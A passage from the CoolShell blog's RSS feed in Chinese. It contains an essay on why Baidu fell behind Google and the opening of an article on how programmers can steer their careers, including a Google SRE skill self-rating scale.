href=\"https://github.com/golang/go/wiki/Performance\">https://github.com/golang/go/wiki/Performance</a><b></b></li>\n<li><b>Go</b> <b>code</b> <b>refactoring:</b> <b>the</b> <b>23x</b> <b>performance</b> <b>hunt<br />\n</b><a href=\"https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7\">https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21128.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>百度为什么掉队了</title>\n\t\t<link>https://coolshell.cn/articles/21113.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21113.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 16 Dec 2020 10:46:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21113</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今天早上看到一篇文章《百度不要用户》这篇文章里的大意是：百度错过了移动互联网，等反应过来的时候，在2013年猛收购了一些公司来追赶对手或是时代，但都不成功，然后...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21113.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21113.html\">百度为什么掉队了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-21116\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/baidu-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/baidu-300x169.jpg 300w, https://coolshell.cn/wp-content/uploads/2020/12/baidu-481x270.jpg 481w, https://coolshell.cn/wp-content/uploads/2020/12/baidu.jpg 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" />今天早上看到一篇文章《<a href=\"https://new.qq.com/omn/20201215/20201215A06XMN00.html\" target=\"_blank\" rel=\"noopener noreferrer\">百度不要用户</a>》这篇文章里的大意是：百度错过了移动互联网，等反应过来的时候，在2013年猛收购了一些公司来追赶对手或是时代，但都不成功，然后又开始后过来走到技术，大力发展AI，可惜，AI又是一个不是很成熟的事，需要没有上限的投入，而且在短期内看不到盈利的事，然而整个KPI又设计在了盈利上，最后导致内部内耗严重，人才和管理层流失，最终离用户越来越远。</p>\n<p>文章中有一个段落的标题是【做决策的是技术】，其中有话是这样的——</p>\n<blockquote><p>在“重技术、轻运营”的百度，产品的主导权和优先权在技术手里，产品和运营的立项话语权相对轻很多。如果是在 PC 时代，这无可厚非，但在移动互联网时代，这就有很大的问题。</p></blockquote>\n<p>这就是中国这个社会的价值观了，整个社会价值观从本质上来说是不待见技术的——<strong>平时都说技术不重要，但是当有问题出现的的时候，他们都会把问题都推到技术上</strong>。</p>\n<p>虽然我同意这篇文章中大多数观点，但是我对“做决策的是技术造成了问题”有很大的不同意，并不是我是技术人员，我只会站在我的角度上思考问题，而且，这个结论就是错的。</p>\n<p><span id=\"more-21113\"></span></p>\n<p>要证明这个事，我们就需要找一个反例，这个反例就是Google。其实，文章中所有的因为移动互联网出现而对传统互联网造成挑战的问题，Google其实都遇到了，然而，Google却走了一条完全与百度不一样的路。</p>\n<p>当时，Facebook如日中天的时候，Google也有很多人才流失到了Facebook，而Google的所有产品线都受到了来自移动互联网的挑战，人们不再打开电脑了，而且把时间全部放在了手机上，于是，Google的搜索也变得麻烦了，就算Google也做了一个搜索的App，也没人用过。Google还做了Google Plus的社交产品，最终也是以失败告终。除此之外，还有众多的Google产品都在移动互联网下玩完，比如：Google Talk/Hangouts, Google Wave，Google Buzz，Google Reader……还有电商网站Google Checkout, Google Offers……如果你要看Google死掉的产品你可以看一下这个网页 &#8211; <a href=\"https://killedbygoogle.com/\" target=\"_blank\" rel=\"noopener noreferrer\">Killed By Google</a> ，一共200多个产品，有好多你都没有听说过。</p>\n<p>另外一方面，Google和百度一样，在云计算方面都没有跟上时代。百度的李彦宏，2010年03月28日，在中国IT领袖峰会上说，“云计算不客气一点讲是新瓶装旧酒，没有新东西”，可见出了战略上的错误。而Google则是云计算的倡导者，Google在云计算上的技术造诣绝对不会比任何一家公司差，但是Google走了一条很曲高和寡的路——Google App Engine，直接跨过IaaS上到PaaS，最终错失市场，现在整合进Google Cloud Platform，提供一整套的多种形式的云服务，尤其是其AI、大数据和数据中心的运营能力，才挽回一点面子，但还是被AWS和Azure抛在后面。而百度那边呢，百度的“百度云”做成了“百度网盘”……</p>\n<p>可以看见，在过去10年，Google还是比较危险的，同样和是搜索引擎起家的百度所面临的风险和危机是一样的——流量入口开始发生转移，导致技术架构和方案也跟着一起转变。但是，今天的Google依然很成功，也是一个破万亿市值的公司，为什么呢？是不是因为Google那边是运营和产品说了算呢？显然不是，如果是那样，Google今天的结局可能和百度也会很类似。</p>\n<p>Google 牛逼的原因有很多，我想在这里重点说几个跟开源有关的产品，让大家感受一下Google是怎么在落后的地方力挽狂澜的，这实在让人细思极恐：</p>\n<ul>\n<li><strong>Chrome浏览器</strong>。Google面对的竞争对手是微软的IE，这个用户入口如果失去了，Google的收入至少少一半（注：今天的天天在做慈善的Bill Gates，当年在浏览器市场上用操作系统垄断的方式把网景和Java都干得痛不欲生，最终引发反垄断诉讼才变得开放一点）。所以，为了要从当时占市场份额98%以上的IE抢市场，开源是一个非常好的策略（当时，还有用户体验，安全性和性能等其它因素）。</li>\n</ul>\n<ul>\n<li><strong>Android 操作系统</strong>。Android 操作系统本质上是为了对抗 Apple和Microsoft，这两个公司在操作系统上耕耘多年，而未来的手机入口成为必争之地，如果Google错失了这个阵地，那么，Google的业务量会受到巨大的影响。所以，Google必需争夺，而且还必需用开源来搞。试想，如果Google的Android不开源的话，今天的智能手机市场很有可能是Apple和Micorsoft/Nokia唱主角了。正因为开源了Android，所以可以让更多的人和企业以Android的方式参与进来，从而对Apple和Microsoft形成真正的对抗。</li>\n</ul>\n<ul>\n<li><strong>Kubernetes &amp; CNCF</strong>。很明显，Kubernetes和后来的CNCF把云计算提升到了另一个层次——不再以资源虚拟化的云设施，而是以应用/服务/API调度为主的云计算。这个真的很猛，其目的主要也是要用一个新的云计算的形式来遏制AWS和Azure的发展，想通过Cloud Native的方式把云计算的游戏规则改变，从而让GCP更好用，另外，其也是开源的，并成立了了开源基金会，似乎是在告诉大众，无产阶级联合起来，对抗巨头。如果Kubernetes像Google的的论文不开源的话，估计也会错失当时竞争异常激烈的容器调度市场。</li>\n</ul>\n<p>开源并不是Google的核心文化，Google有太多的好的东西，他都不开源，Google做死的产品几百个，但宁可放到垃圾桶里，他们也不会开源出来。所以，<strong>Google的开源，其本质上来说，还是为其商业逻辑服务的——为了抢夺别人的市场，为了后来者居上</strong>。</p>\n<p>当然，Google比百度成功的原因还不仅上面这些，上面这些只是想让大家看到Google的思路。这些思路，很明显都是技术的思路，不是运营的思路。Google虽然有技术，但也不是在所有的技术上都有优势，看看人家是怎么在自己并没有优势的地方抢市场的玩法，可能会对理解百度为什么掉队了会有更准确的帮助。</p>\n<p>最后，Wikipedia上有几个和Google有关清单，可以看看。</p>\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_mergers_and_acquisitions_by_Alphabet\" target=\"_blank\" rel=\"noopener noreferrer\">Google 并购公司的清单</a> &#8211; Google 的并了购了240多家公司。</li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Google_products\" target=\"_blank\" rel=\"noopener noreferrer\">Google 的产品清单</a> &#8211; Google 的产品簇简直就是一个大杂烩 。</li>\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_Android_apps_by_Google\" target=\"_blank\" rel=\"noopener noreferrer\">Google 的APP清单</a> &#8211; 看看Google的APP全家桶，数百个应用。</li>\n</ul>\n<p>看完这些清单，你可能会感觉到，Google 这厮也是什么都在干，所以，死的也很多。但这种大规模试错的产能，并不是任何一个公司都有的。百度和Google的员工数量我在网上找了一下，只能看到2018年的数据，2018年百度有45000人，Google有98000人。人数少了一半，但是产能少了可不只一半。</p>\n<p>另外，你再仔细看一下上面的清单，你会看得出来，Google做的这些产品和方向都有一种浓浓的技术味……而且，你会觉得，在技术上折腾，就算是失败了，也能让人感觉得到这家公司和团队不会差……</p>\n<p>与《百度不要用户》这篇文章中所说的，百度的问题是“技术人员话语太强”，我觉得百度的问题是，不再做技术了……而公司出现了混乱的思维方式，无论是不是技术人员，谁都不会思考和做决定了……</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3561.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/html5-logo-1-150x150.jpg\" alt=\"HTML5 logo 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3561.html\" class=\"wp_rp_title\">HTML5 logo 发布</a></li><li ><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"对象的消息模型\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5202.html\" class=\"wp_rp_title\">对象的消息模型</a></li><li ><a href=\"https://coolshell.cn/articles/16910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"Linus：为何对象引用计数必须是原子的\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/16910.html\" class=\"wp_rp_title\">Linus：为何对象引用计数必须是原子的</a></li><li ><a href=\"https://coolshell.cn/articles/3181.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900-150x150.png\" alt=\"Eclipse和Vim快捷键桌面\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3181.html\" class=\"wp_rp_title\">Eclipse和Vim快捷键桌面</a></li><li ><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/19-windows-3-150x150.gif\" alt=\"操作系统图形界面发展史(1981-2009)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/105.html\" class=\"wp_rp_title\">操作系统图形界面发展史(1981-2009)</a></li><li ><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg\" alt=\"Richard Feynman, 挑战者号, 软件工程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1654.html\" class=\"wp_rp_title\">Richard Feynman, 挑战者号, 软件工程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21113.html\">百度为什么掉队了</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/21113.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>36</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员如何把控自己的职业</title>\n\t\t<link>https://coolshell.cn/articles/20977.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/20977.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 07 Aug 2020 09:31:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=20977</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这篇文章的主要内容主要是我今年3月份在腾讯做的直播，主要是想让一些技术人员对世界有一个大体的认识，并且在这个认识下能够有一个好的方法成就自己。而不是在一脸蒙圈的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/20977.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-21059 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-196x300.png\" alt=\"\" width=\"196\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-196x300.png 196w, https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-177x270.png 177w, https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687.png 242w\" sizes=\"(max-width: 196px) 100vw, 196px\" />这篇文章的主要内容主要是我今年3月份在腾讯做的直播，主要是想让一些技术人员对世界有一个大体的认识，并且在这个认识下能够有一个好的方法成就自己。而不是在一脸蒙圈的状态下随波逐流，而日益迷茫和焦虑。直播完后，腾讯方面把我的直播形成文字的形式发了出来，我觉得我可以再做一个精编版。所以，有了这篇文章，希望对大家有帮助。</p>\n<p>对我来说，在我二十多年的工作经历来看，期间经历了很多技术的更新换代，整个技术模式、业务模式也是一直变来变去，我们这群老程序员成长中所经历的技术比今天的程序员玩的还更杂更多。我罗列一下我学过的，而且还被淘汰掉的技术，大家先感受一下。</p>\n<pre>- MIS应用开发：FoxPro，PowerBuilder，Delphi\n- OA：Lotus Notes，VBScripts\n- 微软：ODBC/ADO，COM/DCOM，MFC/ATL，J++\n- 服务器：AIX，HP-UX，SCO Unix\n- Web：CGI，ISAPI，SOAP\n- RPC：CICS，Tuxedo\n- J2EE：Websphere，Weblogic\n- DB：Sybase，Informix \n</pre>\n<p>我想说的是，无论过去还是今天，我们这些前浪和你们后浪所面对的技术的挑战和对技术的焦虑感是相似的，我们那个时候不但玩996，还玩封闭开发（就是一周只能回家一天）。当然，唯一好的东西，就是比起今天的程序员来说，我们那个年代没有像微信、微博、知乎，抖音这些巨大消耗你人生的东西，所以，我们的工作、生活和成长都有很效率，不会被打断、喜欢看书、Google还没有被封……当然，那时代没有StackOverlow和Github这样的东西，所以，能完成的东西或质量都一般。</p>\n<p><span id=\"more-20977\"></span></p>\n<p>当然，这里并不是想做一个比较，只是想让大家了解一下两代程序员间的一些问题各有千秋，大同小异。在整个成长过程中，其实有很多东西是相通的，其本上来说，就是下面的三件事——</p>\n<p><strong>第一</strong>，如果想要把控技术，应对这个世界的一些变化，<strong>需要大致知道这个世界的一些规律和发展趋势，另外还得认识自己</strong>，自己到底适合做什么？在这个趋势和规律下属于自己的发挥领域到底是什么？这是我们每个人都需要了解的。</p>\n<p><strong>第二</strong>，<strong>打牢基础，以不变应万变</strong>，不管世界怎样变化，我都能很快适应它。基础的重要程度对于你能够飞多高是相当有影响的，懂原理的人比不懂原理的人能做出来的事情或是能解决的问题完全是两个层级的。</p>\n<p><strong>第三，提升成长的效率</strong>，因为现在社会的节奏实在太快了，比二十年前快得太多，技术层出不穷，所以我们的成长也要更有效率。效率并不单指的快，效率是怎么样更有效，是有用功除以总功（参看《<a title=\"加班与效率\" href=\"https://coolshell.cn/articles/10217.html\" target=\"_blank\" rel=\"noopener noreferrer\">加班与效率</a>》），怎么学到更有效的东西，或者怎么更有效学习，是我们需要掌握的另一关键。</p>\n<p>下面是我这多年来的一些认识，希望对你有帮助。</p>\n<h4>世界发展趋势</h4>\n<p><strong>我个人经历的信息化革命应该分成三个阶段：</strong></p>\n<ul>\n<li><strong>1990年代到2000年，这个时代MB时代</strong>，是雅虎、新浪、搜狐、网易门户网站的时代，这个时代就是ISP/ICP互联网提供商，把一些资讯数字化，然后发布到网络上。</li>\n<li><strong>2000年到2010年，这个时代叫GB时代，或是叫多媒体或UGC时代</strong>，上网开始变得普遍了，每个人手里的数码设备开始变得多了起来，可以上传照片，可以上传视频，甚至可以在网上做社交。</li>\n<li><strong>2010年到2020年，这个时代叫TB时代，这过去的十年是移动互联网时代</strong>，移动互联网只需要手机在线，不需要依靠电脑。因为手机随时在线，所以个人的各种各样的数据始终在被收集，只要用户上网就会产生数据，所以人的行为最终也被数字化了。</li>\n</ul>\n<p>所有的硬件和软件都是跟着需要处理的数据而演进的，我们需要更大的带宽，更大的硬盘，更多的处理器……大到一定时候就只能进入分布式化的技术架构了，再大，数据中心也顶不住了，就会要引入更为分布式的边缘计算了。</p>\n<p>另一方面，从业务上来看，<strong>我们可以看到整个世界就在不断地进行数字化，因为，只要数字化了，就可以进行复制传播和计算，只要可以进行计算了，就可以进行数学建模，就可以自动化，只要可以自动化了就可以规模化，只要可能规模化了，就可以改变整个行业</strong>。人类的近代史的大趋势基本上都是在解决能源和自动化的事，源源不断的能源是让机器不知疲倦的前提条件，用机器代替牲口，代替人类进行工作是规模化的前提条件。</p>\n<p>所以，<strong>技术的演进规律基本是自动化加规模化，从而降低成本，提升效率</strong>。这就是为什么世界变得越来越快，人类都快跟不上节奏的原因，主要是整个社会不断被机器、数据所驱动。</p>\n<h4>人才需求</h4>\n<p>在这个过程中，需要什么样的人？下面是我的一些认识——</p>\n<ul>\n<li><strong>技工</strong>，在机器和自动化面前，肯定是需要能够操作机器的技术工人了，这类人是有技术的劳动力。在编程的圈子里俗称“码农”，他们并不是真正的工程师，他们只是电脑程序的操作员，所以，<strong>随着技术门槛的下降或是技术形式的变更他可能就会变得越来越不值钱，直到被淘汰掉</strong>。</li>\n<li><strong>特种工</strong>，这种人是必须了解原理和解决难题的一类人，他们是解决比较难的、特定的一些技术问题。<strong>当一种技术被淘汰，他并不容易被淘汰，因为他懂原理，原理就是解决问题的能力，是解决问题的套路和方法</strong>。</li>\n<li><strong>工程师</strong>，不但是使用技术，还可以把活儿做好，他们认为代码更多的时间是在维护，这些人使用各种各样的手段和各种技术，精益求精地持续不断地提高代码的易读性、扩展性、可维护性和重用性，这个过程似乎永无止境。对于这些有“洁癖”，有“工匠精神”，有“修养”的技术人员，我们称他们为工程师。<strong>这种人做事又稳又快，而且可以做出很多称手的工具和方法论</strong>。</li>\n<li>再往上是<strong>设计师和架构人员</strong>，这些人主要是开发一些工具，框架，模式，提升软件开发和维护效率，同时也提升用户体验，和提升稳定性、性能、代码重用等，总的来说就是为了降本增效。这类人的工作降低了技术得到门槛，他们把技术门槛降低了以后，就可以把这个技术普及开来，就可以由广大劳工、技工、特殊工人使用了。</li>\n<li>还有一类人是<strong>经理</strong>，经理主要是组织团队、完成项目、创造利润。这类人中，即有身先士卒的leader，也有高高在上的boss，但无论怎么样，这些人只不过是为了让一个公司或是一个团队更好组织在一起的“粘合剂”，这类人只有在大公司中才会变成更有价值。</li>\n</ul>\n<p>这就是我总结的世界需要哪些人才，我们了解这些东西以后大概就明白我们现在所处的位置有什么样的问题，我们应该去什么样的地方。</p>\n<h4>Google评分卡</h4>\n<p>接下来，我们再来看看Google的SRE的自我评分卡：</p>\n<blockquote><p><span style=\"color: #808000; font-size: 10pt; font-style: normal;\">0 &#8211; 对于相关的技术领域还不熟悉</span><br />\n<span style=\"color: #808000; font-size: 10pt; font-style: normal;\">1 &#8211; 可以读懂这个领域的基础知识</span><br />\n<span style=\"color: #808000; font-size: 10pt; font-style: normal;\">2 &#8211; 可以实现一些小的改动，清楚基本的原理，并能够在简单的指导下自己找到更多的细节。</span></p>\n<p><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">3 &#8211; 基本精通这个技术领域，完全不需要别人的帮助</span><br />\n<span style=\"color: #008000; font-size: 10pt; font-style: normal;\">4 &#8211; 对这个技术领域非常的熟悉和舒适，可以应对和完成所有的日常工作。</span></p>\n<ul>\n<li><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">对于软件领域 &#8211; 有能力开发中等规模的程序，能够熟练和掌握并使用所有的语言特性，而不是需要翻书，并且能够找到所有的冷知识。</span></li>\n<li><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">对于系统领域 &#8211; 掌握网络和系统管理的很多基础知识，并能够掌握一些内核知识以运维一个小型的网络系统，包括恢复、调试和能解决一些不常见的故障。</span></li>\n</ul>\n<p><span style=\"color: #008000; font-size: 10pt; font-style: normal;\">5 &#8211; 对于该技术领域有非常底层的了解和深入的技能。</span></p>\n<p><span style=\"color: #3366ff; font-size: 10pt; font-style: normal;\">6 &#8211; 能够从零开发大规模的程序和系统，掌握底层和内在原理，能够设计和部署大规模的分布式系统架构</span><br />\n<span style=\"color: #3366ff; font-size: 10pt; font-style: normal;\">7 &#8211; 理解并能利用高级技术，以及相关的内在原理，并可以从根本上自动化大量的系统管理和运维工作。</span><br />\n<span style=\"color: #3366ff; font-size: 10pt; font-style: normal;\">8 &#8211; 对于一些边角和晦涩的技术、协议和系统工作原理有很深入的理解和经验。能够设计，部署并负责非常关键以及规模很大的基础设施，并能够构建相应的自动化设施</span></p>\n<p><span style=\"color: #993300; font-size: 10pt; font-style: normal;\">9 &#8211; 能够在该技术领域出一本经典的书。并和标准委员会的人一起工作制定相关的技术标准和方法。</span><br />\n<span style=\"color: #993300; font-size: 10pt; font-style: normal;\">10 &#8211; 在该领域写过一本书，被业内尊为专家，并是该技术的发明人。</span></p></blockquote>\n<p>SRE需要自评如下这些技术或技能。</p>\n<blockquote><p>&#8211; TCP/IP Networking (OSI stack, DNS etc)<br />\n&#8211; Unix/Linux internals<br />\n&#8211; Unix/Linux Systems administration<br />\n&#8211; Algorithms and Data Structures<br />\n&#8211; C/C++<br />\n&#8211; Python<br />\n&#8211; Java<br />\n&#8211; Perl<br />\n&#8211; Go<br />\n&#8211; Shell Scripting (sh, Bash, ksh, csh)<br />\n&#8211; SQL and/or Database Admin<br />\n&#8211; Scripting language of your choice (not already mentioned) _____________<br />\n&#8211; People Management<br />\n&#8211; Project Management</p></blockquote>\n<p>这个评分卡是面试Google前需要候选人对自己的各种技术进行自评，也算是一种技术人员的等级的度量尺，其把技术的能分成11个等级，我用颜色把其它成四大层级，希望这个评份卡能够给你一个能力提升的参考标准。</p>\n<h4>认识自己</h4>\n<p>认识了世界是怎么发展的，也知道技术人员的种类和层级，那么还要了解一下自己，因为如果不了解自己，那么你也无法找到自己的路和适合自己的地方。</p>\n<p>我觉得，一个人要认识自己就需要认识自己的特长、兴趣、热情、擅长等，下面是一个认识自己的标准方法：</p>\n<ul>\n<li><strong>特长</strong>。首先你要找得到自己特长。你要认识自己的特长，找到自己的天赋，找到你在DNA里比别人强的东西，就拿你的DNA跟别人竞争就好了。所以你要找到自己可以干成的事，找到别人找你请教的事，你身边人找你请教就是说明你有特长。这是找到自己特长非常非常重要，扬长避短。</li>\n<li><strong>兴趣</strong>。如果你没有找到自己特长，就找自己有兴趣有热情的东西。什么叫兴趣？兴趣是再难再累都不会放弃的事。如果你遇到困难就会放弃不叫兴趣，那叫叶公好龙。不怕困难，痴迷其中，就算你没有特长，有了这种特质，你也是头部的人才。</li>\n<li><strong>方法</strong>。如果你没有特长，没有兴趣和热情就要学方法。这种方法就是要有时间观念，要会做计划，要懂统筹、规划对于做过的事情，犯过的错误多总结，举一反三，喜欢自己找答案，自己探究因果关系，这是一些方法，自己总结一些套路。</li>\n<li><strong>勤奋。</strong>如果你没有特长，没有兴趣，也没有方法，你还能做的事就是勤奋，勤奋注定会让你成为一个比较劳累的人，也是很有可能被淘汰的人随着你的年纪越来越大，你的勤奋也会越来越不值钱。因为年轻人会比你更勤奋，比你更勤奋、比你斗志更强，比你能力更强，比你要钱更少的人会出现。勤奋最不值钱，但是只要你勤奋至少能够自食其力。</li>\n</ul>\n<p>以上就是为了应对未来技术变化，作为个人必须要从特长、兴趣、方法一层一层筛选挖掘，<strong>如果没有这些你就要努力和勤奋。就只能接受“福报”了</strong>。</p>\n<p>从我个人而言，我不算是特别聪明的人，但自认为对技术还是比较感兴趣的，难的我不怕。有很多比较难啃的技术，聪明点的人啃一个月就懂了，我不行，我可能啃半年。但是没有关系，知识都是死的，只要不怕困难总有一天会懂的。最可怕是畏难，为自己找借口，这样就不太好了。</p>\n<h4>打好基础</h4>\n<p>最前面提到我学的各式各样的被淘汰的技术，会让你感觉很迷茫，或是迷失。但前面也提到了“谷歌评分卡”，在这个评分卡中，我们看到了许多基础原理方面的内容，其实要应对未来的变化，很重要的一点就是无招胜有招，以不变应万变。</p>\n<p><strong>变化都是表面的东西，内在的东西其实并没有太多的变化</strong>。理论层面上变得不多，反而形式上的东西今天一个花样，明天一个花样，所以如果要去应对这种变化，就一定要打牢自己的基础，提升内功修养。比如像编程的一些方式和套路，修饰模式原理本质，解耦，提升代码的重用度等。提升代码重用度必须解耦，要跟现实解耦，提升抽象，这些都是一些技术基础。无论用什么语言，都是这么做的